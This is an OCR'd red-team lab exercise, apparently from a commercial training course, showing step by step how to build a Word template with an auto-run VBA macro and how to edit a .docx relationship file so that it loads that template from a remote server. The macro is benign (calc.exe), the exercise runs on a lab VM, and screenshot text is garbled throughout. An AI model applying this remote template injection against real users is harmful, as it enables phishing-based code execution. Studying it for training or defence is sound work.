Lab 12: Hosting macros in remote templates
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Goals

e Create a Word template payload file that can be hosted on an external web server.
e Create a non-macro-enabled (.DOCX) Word document that executes the macro in the remotely-hosted Word
template file.

Requirements
e Windows 10 VM

1. Creating a macro-enabled Word template file

1. Open Microsoft Word on your Windows 10 VM, and create a new blank document.

Good afternoon
~  Mew
’ ETY Aa
Blank document Blue grey resume Single spaced (blank)
L Search
Recent Pinned Shared with Me

New Word Document Creation
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Enter some text on the page. This step isn't entirely necessary, but it helps differentiate the document from

2.
empty documents.
Calibri (Body) w11 ASBbC
- AaBbCcDo AaBbCcDe
F'|t:||:D B I U~abx, x A . {
a=ie R TMormal |« TMNoSpac.. Headingl |=
. Av 2« A-nav A& ’ ’
Clipboard Font I Paragraph [ Styles E
This is my template ﬁle.|
Text Added to the Word Document
3. Click the "View" tab in the toolbar (ribbon), and then click the "Macros" button to make the Macros window
appear.
Design Layout References hailings Revie View Help e 1% Sharg
e IE @ Q E| "I New Window | [ F= =
e <|.” %Arrange All [l (%i __Q:
Focus Immersive | Vertical Side Show foom 100% Switch Macros
Reader to Side - 3 Eﬂplit O | Windows ~ ~
Immersive Page Movement Zoom Window / Macros
Macraos ? >
Macro name:
| Run
Step Into
This is my template file.|
Edit
Delete
Organizer...
Macros in: | All active templates and documents e
Description:
Cancel
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4. Inthe Macros window, click on the drop-down box labeled "Macros in:" and choose the name of the current
document. (Most likely, the current document's filename will be "Document1".) Confirm that your selection
matches the filename shown in the title bar at the top of the Word window.

Document1 - Word

ome Insert Design Layout Mailings Review View Help
:| = [=] Qutline O Q D E | T INew Window @ [ |
i =8 =l Draft o ) E Arrange All [ (%_
it Web Focus Immersive | \ert Side Show Loom 100% - Switd
but Layout Reader to Side M «= | EHsplit On | Windo
Views Immersive Page Modement Zoom Window
Macros ? d
Macro name
Run
Step Into
This is my template file,
Edit
Delete
Organizer...
Macros in: | Document [dncu\ent] w
Description:| A1l active templates dnd documents
= Mormal.dotm (globalgemplate)
Cancel

Current Document Filename Selected
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5.

Enter a few letters inside the "Macro name" field and then click the Create button.

Macros

Macro name:

? X

Run

[254 Io

Step Into

Edit
e Create

Delete

Organizer...

Macros in:

Documentl [document)

Description:

New Macro Creation

6. Delete all the text that automatically appears in the macro editor window.

a Microsoft Visual Basic for Applications
© File Edit View

'E m 53 J%q
Project - Project EI

B = (=] !

Insert  Format

Debug

Add-Ins Window Help

© Lng Coll

Bun Tools

n om M EEFY

[

| [(General) e | | abc

@ Normal

=-%% Project (Document1)
|:| Microsoft Word Objects

EI@ Modules

o NewMacros
[#--[-7] References

Sub abci)

' abc Macro
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7. Then copy and paste the code printed below into the macro editor. This code is also included in the "macro-
execute_command.txt" file inside the Lab 12 exercise folder on your Windows desktop.

Sub Auto_Open()
Dim x As String

x = "calc.exe"
Shell x, ©
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Sub Document_Open()
Auto Open
End Sub
E Microsoft Visual Basic for Applications
Eile Edit View |Inset Format Debug Run  TJecols Add-lns Window Help
W = - B pou @ WY @ | Ln 15, Col 1 _
Project - Project E
= i % Document? - Mewbacros (Code)
&% Normal
=& Project (Document1) |(General) v | |Documen
(- (23 Microsoft Word Objects Sub Auto Open ()
E"ﬁ Modules Dim x As String
. e4aly NewMacros ® = "calc.exe"
- [T References Shell =, O
End Sub
Sub Iumtolpen ()
Luto Open
End Sub
£ > Sul Workbook Open()
Properties - MewMacros E Fnd :.j;D_Dpen
NewMacros Module v| Sub Document_Cpen ()
huto Open
Alphabetic  Categorized End Sub
(Mame) MewMacros |

Pasted Macro Code
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8. After pasting the macro code into the editor, click on the triangular "Run" button in the toolbar to run the macro
and confirm that it executes successfully. You should see the calculator window appear.

a Microsoft Visual Basic for Applications

File Edit View Insert Format Debug Bun  Tools  Add-lns Window Help
mE- @A > Iluu W =W @I Ln1s cont
Project - Project h

= (|G

&% Normal

=& Project (Document1) |(General)

|:| Microsoft Word Objects Sub Ruto Open()
El@ Modules -

E Dim ®x As String
Leyd® NewMacros X = "calc.exe"
- [Z7] References Shell =x, O

Test-Running Macro Code
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E Microsoft Visual Basic for Applications - Docurment
Eile Edit View |nset Format Debug Run Tools Add-lns Window Help
WME- B a@maoey n @ SBEW 5@ s coll
Project - Project EI
= | !
% Document - NewMacros (Code)
‘g Normal 1 T
-84 Project (Document1) |(General)
B[ Microsoft Word Objects Sub Buto Open () Calculator - U X
=-+4£3 Modules Dim x As String
Leg® NewMacros % = "ocalo.exen = Standard e @
[#-[77] References Shell =, O
End Sub
Suk Rutolpen()
Auto Open 0
End Sub
£ > Sub Workbook Openi)
. Luto Open
Properties - NewMacros x| End Sub MC MR Ms M- Ms M”
HewMacros Module v| Sub Document_OCpen ()
- Luto Open
Alphabetic  Categorized End Sub Yo CE C G|
(Mame) MNewMacros
Wy e i -
7 8 9 X
4 5 6 —
1 2 3 +
"T- D -

Successful Macro Execution
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9. If the Calculator window appeared as expected, you can close the Calculator and then close the "Microsoft

Visual Basic for Applications" window.

E Microsoft Visual Basic for Applications - Document] — O x
File Edit View |nset Format Debug Bun  Tools  Add-lns Window Help
W E- & |9 P oo B & F Y @ | Ln15, Col 1 -

Project - Project E

= = (3] A

% Documentl - Newbacros (Code)
-3 Normal

=-&% Project (Document1) | (General)

v| |Do-c:ument_{}p-en

i -[£7 Microsoft Word Objects Sub Buto Open()
EI @ Modules Dim x &= String
. 4 NewMacros x = "calc.exe"
&[] References Shell =, ©
End Sub
Suk Autolpen ()
Euto Open
End Sub
< > Sub Workbook Open ()
_ buto Open
Properties - NewMacros ﬁ Fnd Sub
Macros Module V| Sub Document Open()
f : Autoc Open
Alphabetic  Categorized End Sub
||{Name} MewMacros | |

Closing Microsoft Visual Basic for Applications

10. Finally, use the "Save As" function in the File menu to save your document.

AutoSave (@ Off) E:} - =

Document! - Word

O Search

Home Insert Design Layout References Mailings
FE =z~ 0 -
[=] Draft e [C]J_’I R
Read = Print Focus Immersive | WVertical Side Show
Mode Layout Laj,.ru:uut Reader to Side ~
Views Immersive Page Movement

This is my template file.
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Save As
@ Recent

Other locations
E@ This PC
@ Add a Place

[~ Browse

"Save As" Location Selection

Save As

1_|-|_[ Home

il saveis >
D Mew .
« « 4 I » ThisPC » Desktop » v | O Search Desktop 2
= Open Organize « Mew folder == - 9
B This PC el Mame Date modified Type
infe _JJ 3D Objects Lab exercises 3/4/2021 6:38 AM File f
Save ! Desktop
= Documents
Save Ac ; Downloads
J‘l Music
Print .
| Pictures
Chare B videos
e Windows (G ¥ < *
Export File name: | template.dotm a -
Save as type: | Word Macro-Enabled Ternplate ~
Transform
, Word Docurment
Authors:

Word Pacro-Enabled Document
Close Word 97-2003 Document

Word Termp
o Word Macro-Enabled Template

» Hide Folders

¥P5 Document

i L ol 380l O

Saving as Word Macro-Enabled Template
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11. In the next section, we'll go over using a document template like the one you just created to embed a macro in a
.DOCX file. For the purpose of this exercise, I've hosted a document template online that's identical to the one
you just created. But for reference when you use this technique in a real attack, all you have to do to get from
this section to the next step is upload the file you just created to a web server on the Internet. If you're
interested, you can visit the URL below to see where the template file used in the next section is hosted.

https://lab.adversarydevelopment.com/macro/

< O 1 https://lab.adversarydevelopment.com/macro/
Index of /macro

Name Last modified Size Description

a Parent Directory, -
@ template dotm | 2021-03-05 11:17 16K

Apache/2.4.46 (Debian) Server at lab.adversarydevelopment.com Port 443

Macro-Enabled Template Hosted Online

2. Embedding the remote Template in a non-Macro-Enabled Word document

1. Onyour Windows 10 VM, open Microsoft Word and create a New Word document from one of the templates
shown on the new file window. (Don't choose "Blank document" or "Single spaced (blank)".) In the example
shown in the screenshots, I'll use the "Blue grey resume" template.

Good afternoon

~ New

Aa # rane

Take a tour

Blank document Single spaced (blank) Welcome to Word Blue grey resume

More templates —

New Document Creation from Template
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2. After selecting a template, click "Create" to create a new document.

s nus perlfor < rgue maa
Furce pommr, mogna sed phing
T e —
e, 3l amet commadt MagnG e
AL AT S VheaP et erie
Fuscs sl Vivarn

S Paberragus hatiton! morts
VIS AT S AEh 81
mcimuat fames o2 W sget
Lorem ipaum color iFf Grmed
OO DI i Wt
MosCanad SO Longue Mok,
fnce pomsen

CONTACT
e
4785850100

NAME
HERE

JOB TITLE HERE

EOUCATION
[Bohe- W]

Berters Froen) - [T
11} Gk gy 16 Brag obeet your A, qwarsh, arngingncn. sl free 1o
rrnexiDe your Coursemwork 100.]

BTN O SO F0.]

WORK EXPERIENCE
[Comgany Name| Hcb e

Diter Fresmie{in

Deicribe your rmpombiiia ond ocheremenh n ferme of et
G R e macmgie Dut ke h or|

o
A i, Ush ancmgii Bul keee i ihart|

Blue grey resume

Provided by:  Mlicrosoft Corporation

Present your experience and talent stylishly with this
blue grey resume template that includes a space for
your photo, Easily customize the font or use as is,
Either way, a blue grey resume makes a statement
that won't be missed by a hiring manager. This
template also includes helpful tips for building an
effective resume, Search “blue grey” for a matching
caover letter template,

Download size: 127 KB

)

Create

tes —2

"Create" Button Following Template Selection

3. Inareal social engineering attack, you would want to modify the document content before continuing, but for
this example, the template content will be fine.

File Home Insert Design Layout References Mailings Review View Help Table Design Layout A
2 X | CenturyGothic (Body) ~|9 v | i= v iT v Sov £ 3=
L] (& | B Iry U~ ab . 2 | A B — — — 3 AaBbCcD | AaBbCcD A 1Bt R \Q} /
oLl M X, X red B — - =iy == 2 - :
Paste c s : 7 Normal | TNo Spac... Heading 1 Editing | Dictate A i
. S| A2 AvAr AN | L 8T 2 J . <
Clipboard Font N Paragraph N Styles N Voice Sensitivity i
[
: E E
JOB TITLE HERE
PROFILE EDUCATION

Template-Generated Document Body
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4. Save the file as "Attachment.docx" (file type: "Word Document") on your desktop.

Save

Save As

Print

Share

Export

Transform

Close

Save As

ﬂ Save As

X
&« “« 4 B s ThisPC + Desktop » v | @O Search Desktop Pl
Organize = Mew folder EE o
B Thic PC Mame Date modified Type
_J 3D Objects Lab exercises 37472021 £:38 AM File f
I Desktop o
@ Documents
* Downloads
J& Music
&= Pictures
E Videos
e Windows (€)Y € *
File name: | Attachment.docx e -
Save as type: | Word Document ~
Authors: VMuser Tags: Add atag
[] Save Thumbnail
. Hide Folders Tﬂolse Cancel

Saving "Attachment.docx"

5. After saving the document, close all open Microsoft Word windows.
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6. Open a PowerShell window by holding the Shift key on your keyboard while right-clicking in the empty space on
your desktop. Then click "Open PowerShell window here" in the menu.

Sort by
Refresh

procexphd

Paste
Paste shortcut

= Undo Rename
W
Open PowerShell window here

Attachment

Mew

1 Display settings
[_! Personalize

PowerShell Execution on the Desktop

7. Rename "Attachment.docx" to "Attachment.zip" by running the following commands in the PowerShell window.
Leave the PowerShell window running when you are done. You should see the icon of the Attachment file on
your desktop change from a Word document to a ZIP file.

ren Attachment.docx Attachment.zip

EN Administrator: Windows PowerShell

Muser\Desktop> ren Attachment.docx Attachment.zip
MuserhDesltops

Attachment

Attachment.docx Renamed
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8. Double-click on the Attachment ZIP file on your Desktop to open the ZIP file in Windows Explorer.

U1 = |

Home Share View

L]

5+ Quick access
I Desktop -
; Downloads -
= Docum *
&=/ Pictures -
Lab 14 - HTML smuggling
J‘J Music

a Videos
@ Onelrive
E This PC

¥ 3D Objects

I Desktop

A [;] » Attachment »

Extract

Compressed Folder Tools

MName

_rels
customXml
docProps
word

D [Content_Types]

Attachment

v O

Type

File folder
File folder
File folder
File folder
XML Document

Attachment.zip Opened in Windows Explorer

- @
o

Compressed size

EE

9. Inside of Attachment.zip, double-click on the "word" folder, and then double-click on the "_rels" subfolder of

"word".
g | = Extrad Attachment
Home Share View Compressed Folder Tools
A Q » Attachment » v | D
~ Mame Type
3 Cuick access
rels File folder
I Deskto - -
g customXml File folder
* Downloads o docProps File folder
Documents of File folder
[&] Pictures - [Content_Types] ¥ML Document

"word" Folder Inside Attachment.zip
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“« v » Attachment » word » v | D Search w
- Mame Type
#F Quick access
rels File folder
I Deskto - =
3 theme File folder
; Downloads * D document AML Document
Documents * D fontTable AML Document
[=] Pictures + D nurmbering #ML Document
Lab 14 - HTML smuggling | ] settings #ML Document
Jb, Music D styles AML Document
B Videos D webSettings #ML Document

" rels" Subfolder of "word"

10. Inside the "_rels" folder, click and drag the "settings.xml" file to your desktop. (The filename is actually
"settings.xml.rels", but the full extension isn't shown in Windows by default.)

Boot Time: 3/512021 7:01 AM
Free Snace- C-1l103 10 GR NTES

Extract

Home Share View Compressed Folder Tools

v A » Attachment » word » _rels w | @ Search _rels

" Mame Type Compressed size

# Quick access
[ Desktop
* Downloads
Documents
[&] Pictures

D documentxml XML Document
D headerl.xml XML Docurmnent
I D settings.xml I AML Docurnent

OneDrive

) 3D Objects
[ Desktop

[ -

3 items

Click-and-Drag Settings.xml to Desktop
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11. Right-click on the "settings" file on your desktop. Then click on "Open with..." in the menu that appears.

Open

Edit

Share with Skype
Share

Open with...

Give access to b

Restore previous versions

procesptd

Send to -

Cut
Copy

Attachiment Create shortcut

Delete

b Rename
. Properties

sertingsxl

"Open with..." Procedure

12. In the list of applications that appears, click on "More apps".

How do you want to open this file?

Keep using this app

Other options

E Look for an app in the Microsoft Store

More apps b

Always use this app to open .rels files

OK

Clicking "More apps"
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13. Then scroll down and select "Notepad" before clicking OK.

How do you want to open this file?

Keep using this app

. Office XML Handler

Other options

E Look for an app in the Microsoft Store

E Internet Explorer

Paint
D
m Windows Media Player

Always use this app to open .rels files

2 o

Selecting Notepad

14. You should see the Settings file open in Notepad, similar to what is shown in the screenshot below.

| settingsxml - Notepad — O >

File Edit Format View Help

k?xml version="1.8" encoding="UTF-8" standalone="yes"?»

<Relationships
xmlns="http://schemas.openxmlformats.org/package/2806/relationships">»<Relationship Id="rIdl"
Type="http://schemas.openxmlformats.org/officeDocument/2086/relationships/attachedTemplate”
Target="file:///C:\Users\WMuser\AppDatahLocal\Microsoft\Officel16.84\DT5 \en-USK7b50BB283A-32FA-
ABB6-94A2 -89ADTOCTALSFRTd\E7b31C6FCFD-1160-4929 -BAFA-1C5121F7D898%7dt 0546271 win32.dotx"
TargetMode="External"/»></Relationships>»

Settings File Contents

15. In Notepad window, replace the text in the "Target" section of the Settings file with the following URL. This URL
points to a copy of the Macro-Enabled Template document you created in the last section. Be sure to leave the
double-quotes at the beginning and end of the Target value in place.

https://lab.adversarydevelopment.com/macro/template.dotm
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| settingsxml - Notepad — O X

File Edit Format View Help

k?xml version="1.8" encoding="UTF-8" standalone="yes"?>»

<Relationships

xmlns="http://schemas.openxmlformats.org/package/2806/relationships">»<Relationship Id="rIdl"

Type="http://schemas.openxmlformats.org/officelocument/2886,/relationships/attachedTemplate”

Target="ffile: C:h\Usersi\WMuser\AppData'local\Microsoft\Office\16.8\DT5\en-USE/bS5DBE2E3A-32FA-
886-94A2-89ADV9CTAI5F%7d\¥7b31C6FCFD-116D-4929-BAFA-1C5121F7D898%7dtfB0546271 win32.doty"
TargetMode="External”/></Relationships> ~

Original Target Value

| *settingsxml - Notepad — O

File Edit Format View Help

<?xml version="1.8" encoding="UTF-8" standalone="yes"?>»

<Relationships
xmlns="http://schemas.openxmlformats.org/package/2086/relationships”»<Relationship Id="rId1l"
Type="http://schemas.openxmlformats.org/officelocument/2806/relationships/attachedTemplate”
Target="https://lab.adversarydevelopment.com/macro/template.dotn"
TargetMode="External”/></Relationships>

Modified Target Value

16. Then save your changes to the file and close the Notepad window.

| *settings.xml - Notepad — O

File | Edit Format View Help
Mew Ctrlem = UTF-8" standalone="yes"?»

Mew Window Ctrl+Shift+M ] ] ] ]
lformats.org/package/2006/relationships”»<Relationship Id="rIdl"

Open... LD formats.org/officeDocument/20086/relationships/attachedTemplate”
Save Ctr+S  ydevelopment.com/macro/template.dotm®

Save As... Ctrl+Shift+5  ationships»

Page Setup...

Print... Ctrl+P

Exit

Save Changes
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17. Click and drag the modified Settings file from your desktop back into the "\word\_rels" folder inside
Attachment.zip.

| = | Extract _rels
File Home Share View Compressed Folder Tools
« v 4 » Attachment » word » _rels v | 0 Search _rels
Fay
~ MName Type
3+ Quick access
D document.xml XML Document
[ Desktop -
D headerl.xml XML Document
‘ Downloads * D settingsxml XML Document
Documents L2
=] Pictures »
Lak 14 - HTML smuggling
J1 Music
B videos
@ OneDrive
Attachment
L sPC
;. 3D Objects
[ Desktop
—_— LU 4

Jitems  1item selected 481 bytes

Click-and-Drag Settings File into "_rels"

Compressed size

18. When prompted, choose "Copy and Replace" to overwrite the existing Settings file with your modified copy.

&J

= Exirac _rels

arme Share iew Compressed Folder Toaols
Copy File >
“— “ earch _rels
There is already a file with the same name in this location.
3 Quick  Click the file you want to keep
nent
Dresh
- —Copy and Replace nent
; Dow Replace the file in the destination folder with the file you are copying: Lent
Doc settingsacmlrels
_ settings.axml (ChUsers\VMuser\,Desktop)
=] Pict Size: 362 bytes
Lab Date modified: 3732021 1:44 PM (newer)

J': Mus
B vidd —Don't copy

Mo files will be changed. Leave this file in the destination folder:

& OneD settings.xml
Size: 481 bytes (larger)
B This P Date modified: 12/29/189% 7:00 PM

N EDL
o

3 itemns TCETTT SETECTEd 0T Oy IEs

O X
- @
r

Compressed size

f=2| =

Replacing Original Settings File
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19. After copying the Settings file, close the Attachment.zip window.

e = | Extract _rels - O >
Home Share Wiew Compressed Folder Tools 0
« w » Attachment » word » _rels w | 0 Search _rels 2

M
~ Marne Type Compressed size
i Quick access )
documentxml AML Document 1
I Desktop IJ . )
| | headerlxml XML Document 1
D load - :
; ownloads | | settings.xml AML Document 1

|j Documents
=| Pictures

Lab 14 - HTML smuggling
J‘! Music

B videos

& Onelrive

H This PC

I Ml A S

Close Attachment.zip

20. In the PowerShell window that you opened earlier, rename Attachment.zip back to it's original filename,

Attachment.docx by running the command below. Once again, you should see the icon of the Attachment file
change - this time back to the icon of a Word document.

ren Attachment.zip Attachment.docx

EN pdministrator: Windows PowerShell

C:\Users\VMuser\Desktop> ren Attachment.docx Attachment.zip
C:\Users\WMuser‘Deskto ren Attachment.zip Attachment.docx
C:\Users\VMuser\Desktor

procexpod

3

Attachment

Renaming Attachment.zip

21. Now test Attachment.docx in Word by double-clicking the file. When you open the document, you should see a
message box about macros in the project being disabled. Click OK in the message box, and then click "Enable

Red Team: Getting Access Page 19 Copyright © 2021, Adversary Development, LLC




Content" in the yellow bar displayed across the top of the document to run the macro embedded in the remote
template file.

File Home Insert Design Layout References Mailings Review View Help

1 — V— ——

_Q’ Century Gothic (Bedy) v 9 v E vii—ov A €SS I S— BL
| - . ol Aa c Aa c A ) ( 1
S (B3| B I U~vabx, xX A 1= apol 7]

aste

= = = | Ed
> S A LAvAaar AA 2y 209

T Normal | T No Spac.. Heading1 ||

Clipboard & Font N Paragraph N Styles N
@ SECURITY WARNING Macros have been disabled. Enable Content _ e
Microsoft Visual Basic for Applications X

The macros in this project are disabled. Please referto the
! online help or documentation of the host application to
J determine how to enable macros.

o— ~
1 L IrDr

Macro-Execution Messages

r g o
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22. If everything works properly, you should see a Calculator window appear - indicating that the macro inside the

template file hosted on the remote web server was executed successfully.

244 words

Type here to search

PROFILE

Want to put yvour own image in the
circle? It is easyl Select the images
and do a nght mouse click. Select
“AIl" from the shortcut menu. Choose
Ficture__. fram the list. Mawvigate your
computer to get the appropriate
picture. Click akay to insert yvour
selected image.

B
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N
H

JOB 1

EDUCA

[School

[Caotes F
I’s chkay
SUMIPTCIF

[School
[Caotes F
[It's olkony

Calculator

Standard

Yo

1 %

M+

CE

|18}

MS
C |
X =
9 X
6 _
3 +

Successful Macro Execution
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